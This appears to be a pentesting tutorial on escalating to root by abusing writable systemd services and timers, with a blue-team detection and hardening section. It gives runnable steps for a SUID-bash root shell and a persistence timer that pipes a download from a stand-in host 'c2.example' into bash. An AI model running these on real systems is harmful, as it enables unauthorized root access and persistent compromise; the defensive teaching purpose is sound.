Disclaimer: This article is written for educational purposes and for authorized penetration testing only. Run these techniques exclusively against systems you own or have explicit, written permission to test. Unauthorized access to computer systems is illegal in virtually every jurisdiction.
Introduction / Overview
systemd is the init system (PID 1) on nearly every modern Linux distribution — Ubuntu, Debian, RHEL, Fedora, Arch, and most of their derivatives. Because PID 1 runs as root and is responsible for launching services, anything that can influence what systemd executes is a direct path to root.
In this article you will learn how a low-privileged foothold becomes a root shell by abusing three closely related misconfigurations:
- Writable
.serviceunit files that let you controlExecStart. systemctlpermissions (viasudoor polkit) that let you start or restart units you can modify.- systemd timers (
.timerunits) — the moderncronreplacement — which schedule the same kind of execution and are frequently overlooked.
These map to MITRE ATT&CK techniques T1543.002 (Create or Modify System Process: Systemd Service) and T1053.006 (Scheduled Task/Job: Systemd Timers).
How it works / Background
A systemd service is described by a unit file, typically in one of three directories (highest precedence first):
/etc/systemd/system/ # admin-defined units (highest priority)
/run/systemd/system/ # runtime-generated units
/usr/lib/systemd/system/ # distro/package-shipped unitsBashThe execution directive that matters most is ExecStart, which tells systemd the command to run when the unit starts. A minimal service looks like this:
[Unit]
Description=Example service
[Service]
Type=simple
ExecStart=/usr/local/bin/backup.sh
User=root
[Install]
WantedBy=multi-user.targetINIIf you can write to that unit file, or to the binary/script that ExecStart references, and you can get the unit (re)started as root, you control root-level code execution. There are also adjacent directives worth knowing: ExecStartPre, ExecStartPost, and ExecStopPost all run commands too, so hardening must cover all of them.
Timers work the same way. A .timer unit defines when something runs and points to a .service unit (by matching name, or via the Unit= directive) that defines what runs. Abusing a timer is therefore just service abuse with a scheduler attached.
Prerequisites / Lab setup
To follow along, spin up any systemd distro (e.g., Ubuntu 22.04) in a VM. Create a deliberately weak service to simulate a real-world misconfiguration:
# As root, create a service owned by root but world-writable (the bug)
cat <<'EOF' | sudo tee /etc/systemd/system/vulnsvc.service
[Unit]
Description=Vulnerable demo service
[Service]
Type=oneshot
ExecStart=/usr/local/bin/vulnsvc.sh
[Install]
WantedBy=multi-user.target
EOF
sudo touch /usr/local/bin/vulnsvc.sh
sudo chmod +x /usr/local/bin/vulnsvc.sh
sudo chmod 666 /etc/systemd/system/vulnsvc.service # misconfiguration
sudo systemctl daemon-reloadBashThen drop to a normal user (su lowpriv) to act as the attacker.
Attack walkthrough / PoC
Step 1 — Enumerate writable units and timers
Start by finding unit files and timers you can write to, and any systemctl privileges you hold.
# Find writable .service and .timer unit files
find / \( -name '*.service' -o -name '*.timer' \) -writable 2>/dev/null
# Find ExecStart targets that are writable scripts/binaries
grep -rH 'ExecStart' /etc/systemd/system/ /usr/lib/systemd/system/ 2>/dev/null \
| awk -F'=' '{print $2}' | awk '{print $1}' | sort -u
# Check for sudo rights over systemctl
sudo -l 2>/dev/null | grep -i systemctl
# List active timers and what they trigger
systemctl list-timers --allBashTools like linpeas.sh automate this and flag writable units in red. Manually, find ... -writable plus a sudo -l check covers the common cases.
Step 2 — Hijack ExecStart
With a writable unit file, overwrite ExecStart to grant yourself root. A clean, reliable payload is to make bash SUID:
cat > /etc/systemd/system/vulnsvc.service <<'EOF'
[Unit]
Description=Vulnerable demo service
[Service]
Type=oneshot
ExecStart=/bin/bash -c 'cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash'
[Install]
WantedBy=multi-user.target
EOFBashStep 3 — Trigger execution
If you have sudo rights to systemctl, simply (re)start the unit:
sudo systemctl daemon-reload
sudo systemctl start vulnsvc.serviceBashIf you do not have systemctl rights, you wait for a natural trigger — a reboot, a dependent target, or, far more useful, a timer. If the host has (or you can influence) a .timer that calls a writable service, the timer fires the payload as root on schedule. You can confirm the next trigger with systemctl list-timers.
Step 4 — Cash in
ls -l /tmp/rootbash
# -rwsr-xr-x 1 root root ... /tmp/rootbash
/tmp/rootbash -p
# bash-5.1# id
# uid=1000(lowpriv) euid=0(root) gid=1000 ...Bashbash -p preserves the elevated effective UID, giving you a root shell.
Bonus — User-level timer abuse for persistence
Even without root, an attacker can install a user timer that survives logout via lingering, useful for persistence after an initial compromise:
mkdir -p ~/.config/systemd/user
cat > ~/.config/systemd/user/beacon.service <<'EOF'
[Service]
ExecStart=/bin/bash -c 'curl -s https://c2.example/x | bash'
EOF
cat > ~/.config/systemd/user/beacon.timer <<'EOF'
[Timer]
OnBootSec=2min
OnUnitActiveSec=10min
[Install]
WantedBy=timers.target
EOF
systemctl --user enable --now beacon.timer
loginctl enable-linger "$USER" # keeps it running after logoutBashThis pairs naturally with other Linux persistence tradecraft — see Linux Persistence Techniques and the broader Linux Privilege Escalation Checklist.
Attack flow diagram

The diagram shows the path from foothold to enumeration, ExecStart hijack, root-level trigger via systemctl or timer, and finally a root shell through a dropped SUID binary.
Detection & Defense (Blue Team)
Defending against systemd abuse comes down to permissions, integrity monitoring, and least privilege. Treat this section with the same weight as the offense.
1. Audit unit-file permissions. Unit files must be owned by root and never group/world-writable. Hunt for violations:
find /etc/systemd/system /usr/lib/systemd/system /run/systemd/system \
\( -name '*.service' -o -name '*.timer' \) \
\( -perm -o+w -o ! -user root \) -ls 2>/dev/nullBashAlso verify the integrity of every ExecStart target — a unit can be perfectly locked down while pointing at a world-writable script.
2. Lock down systemctl via sudo and polkit. Avoid blanket NOPASSWD: /bin/systemctl rules in /etc/sudoers; they let any allowed user start an arbitrary modified unit. Scope sudo rules to specific, named units and verb (systemctl restart nginx), and review polkit rules under /etc/polkit-1/.
3. File integrity monitoring (FIM). Deploy AIDE, Tripwire, or auditd watches on the unit directories so any change is logged and alerted:
# auditd: alert on writes to the primary unit directory
auditctl -w /etc/systemd/system/ -p wa -k systemd_units
auditctl -w /usr/lib/systemd/system/ -p wa -k systemd_units
ausearch -k systemd_unitsBash4. Detect runtime activity. Watch the journal for unexpected daemon-reload, ad-hoc unit starts, and newly enabled timers:
journalctl -u systemd --grep 'Reloading|Started|Reexecut' --since '-1h'
systemctl list-timers --all # baseline and diff regularly
systemctl list-unit-files --state=enabledBashUnexpected entries in ~/.config/systemd/user/ combined with loginctl enable-linger are strong indicators of user-level persistence (T1053.006).
5. Harden the units themselves. For services you legitimately run, apply sandboxing directives — ProtectSystem=strict, ReadOnlyPaths=, NoNewPrivileges=true, and a non-root User= — so that even a compromised service cannot trivially reach root or write system paths. Run systemd-analyze security <unit> to score each unit's exposure.
Conclusion
systemd centralizes privileged execution, which makes it a high-value target. The core lesson is simple: any writable .service/.timer, any writable ExecStart target, and any over-broad systemctl grant collapses the boundary between an unprivileged user and root. For attackers, enumeration with find -writable and sudo -l plus a SUID-bash payload is fast and reliable. For defenders, strict file ownership, scoped sudo/polkit rules, FIM on unit directories, and systemd-analyze security hardening close the gap. Audit your units before someone else does.
References
- MITRE ATT&CK — T1543.002 Systemd Service: https://attack.mitre.org/techniques/T1543/002/
- MITRE ATT&CK — T1053.006 Systemd Timers: https://attack.mitre.org/techniques/T1053/006/
- HackTricks — Linux Privilege Escalation (systemd): https://book.hacktricks.xyz/linux-hardening/privilege-escalation
- systemd.service(5) and systemd.timer(5) man pages: https://www.freedesktop.org/software/systemd/man/systemd.service.html
- GTFOBins — systemctl: https://gtfobins.github.io/gtfobins/systemctl/



Comments